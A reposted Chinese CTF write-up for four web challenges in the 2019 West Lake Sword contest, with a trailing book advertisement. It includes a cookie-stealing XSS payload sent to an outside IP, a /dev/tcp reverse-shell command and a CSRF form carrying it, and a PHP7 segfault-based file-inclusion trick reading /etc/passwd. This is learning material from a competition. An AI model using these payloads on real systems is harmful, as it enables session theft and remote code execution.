内容简介:2019西湖论剑线上赛 Web wp。除了最后一道原题没时间做,其他都弄出来了。[TOC]NULL 题目地址:http://ctf1.linkedbyx.com:10122
2019西湖论剑线上赛 Web wp。除了最后一道原题没时间做,其他都弄出来了。
[TOC]
Web
Web 1 猜猜 flag 在哪
Description
NULL 题目地址:http://ctf1.linkedbyx.com:10122
Hacking
扫目录发现有 .DS_Store 文件,发现 http://ctf1.linkedbyx.com:10122/e10adc3949ba59abbe56e057f20f883e 目录下有 git 泄露
拿到文件之后有个压缩包,尝试明文攻击得到 hint.txt
拿到 code 为 9faedd5999937171912159d28b219d86,访问 flag/seed.txt 发现回显 NAVIE
在首页输入 code 参数与 name 参数,回显了另一个 code
综合前面给出的 flag/seed.txt ,猜测是个随机数的问题,应该是要猜解随机数问题,用 php_mt_seed 这个 工具 直接爆破可以得到 seed
访问 flag/209228.txt 拿到 flag
Web2 breakout
Description
NULL 题目地址:http://ctf2.linkedbyx.com:10611
Hacking
随便用一个用户名进去。
有一个留言功能,可以进行留言,有一个 report 功能,可以报告一个 url 给管理员,还有一个执行命令与清空留言的功能。所以很明显的一个利用思路就是留言处进行 xss ,把留言界面的 url 发送给管理员,拿到 cookie 即可进行命令执行
我们先测试留言
<script>alert(1);</script> <:)>alert(1);
发现是字符替代,基本过滤了 DOM 事件,测试用以下 payload
</li><iframe src='http://106.14.153.173:8080/'><li>
成功收到访问信息,所以需要我们绕过字符替代进行 xss 。按照我博客之前写的 xss 教程,我们可以在 src 处利用 html 实体编码来进行绕过,这样就不会出现关键字了,就像以下 payload :
</li><iframe src=" :window.location='http://106.14.153.173:8080/?'+encodeURI(document.cookie)"></iframe><li>
然后我们只需要把 http://ctf2.linkedbyx.com:10611/main.php 在 report 界面提交就好了。
成功拿到 cookie ,这时候我们只需要带着 cookie 去执行命令就好了
POST /exec.php HTTP/1.1 Host: ctf2.linkedbyx.com:10611 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://ctf2.linkedbyx.com:10611/exec.php Content-Type: application/x-www-form-urlencoded Content-Length: 97 Connection: close Cookie: PHPSESSID=hsujvjlaum6vc2c3tg5mraq774; token=KLIMdHTGEnxXSG4mrRRCuQ==; admin=admin_!@@!_admin_admin_hhhhh Upgrade-Insecure-Requests: 1 command=bash%20-c%20%22sh%20%3E%26%20%2Fdev%2Ftcp%2Fyour_ip%2Fport%200%3E%261%22%20&exec=1
这里我直接弹了 shell ,在根目录下发现 flag.txt
其实如果拿不到 cookie 的话,也可以用以下方式去构造一个 CSRF
<form action="exec.php" method="post" id="myform">
<input value="bash -c 'sh >& /dev/tcp/your_ip/port 0>&1\'" name="command">
<input value="1" name="exec">
</form>
<iframe src=" :parent.document.getElementById('myform').submit();"></iframe>
事实证明也确实可以这么去做。
waf 黑名单如下:
function waf($str){
$black_list = "script|\W+on.*?=";
$str = preg_replace("/".$black_list."/i",":)",$str);
return $str;
}
Web 3 babyt3
Description
babyt3(Ubuntu 16.04 php 7.0) 题目地址:http://ctf1.linkedbyx.com:10010
Hacking
index 提示了有 dir.php 跟 include $_GET['FILE']
Dir.php 可以列目录,在根目录下找到 flag ,用 http://ctf1.linkedbyx.com:10010/?file=/ffffflag_1s_Her4 包含即可
真心想吐槽,这么水的题你出在西湖论剑上合适吗???还不如月赛
赛后跟师傅们讨论的时候,发现 web3 这种题竟然…能放上来…
index.php 源码:
<?php
$a = @$_GET['file'];
if (!$a) {
$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
die('nonono');
}
include $a;
?>
<!--hint: dir.php -->
Dir.php 源码:
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
然后我们就可以看到这个题是多么多么…
strpos('flag',$a) !== false
strops 参数都写反了…所以就成了没有过滤的一道题…
预期解
预期解猜测就是使用 php 7 的一个 segmentfault 错误的 bug,也对上了题目描述一开始给出了环境配置的原因
POST /index.php?file=php://filter/string.strip_tags/resource=/etc/passwd HTTP/1.1 Host: localhost:8001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://localhost/test.php Content-Type: multipart/form-data; boundary=---------------------------9417939141775834208717807850 Content-Length: 248 Connection: close Cookie: PHPSESSID=09e1deae1da0a95b2515a0c0a9a07c8b Upgrade-Insecure-Requests: 1 -----------------------------9417939141775834208717807850 Content-Disposition: form-data; name="file"; filename="test.php" Content-Type: application/octet-stream <?php phpinfo();?> -----------------------------9417939141775834208717807850--
发以上 http 包,将 php://filter/string.strip_tags/resource=/etc/passwd 这个 payload 传入 include 方法会让 php 产生一个 segmentfault ,然后在这段时间内上传的文件将会存储在 php.ini 指定的 upload_tmp_dir 文件夹下,并且不会被删除。
这样我们就可以包含我们的恶意文件代码了。具体看 LFI via SegmentFault
自己做了个漏洞环境供复现: PHP7-LFI
Web 4 blog
Description
NULL
Hacking
原题,Google CTF 2018 bbs
github 源码地址: https://github.com/google/google-ctf/tree/master/2018/quals/web-bbs
Wp: https://ctftime.org/task/6243
Conclusion
这次比赛收获不大,说实在的,还没安恒月赛质量高,而且第三题出的真的是秀了我一脸,让我很怀疑安恒对这次比赛的题目的检验等,也让我对接下来如何去办好一场比赛有一些借鉴经验,希望接下来的 SUCTF 全国赛不会出现这种难以入目的低级错误。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Inside Larry's and Sergey's Brain
Richard Brandt / Portfolio / 17 Sep 2009 / USD 24.95
You’ve used their products. You’ve heard about their skyrocketing wealth and “don’t be evil” business motto. But how much do you really know about Google’s founders, Larry Page and Sergey Brin? Inside......一起来看看 《Inside Larry's and Sergey's Brain》 这本书的介绍吧!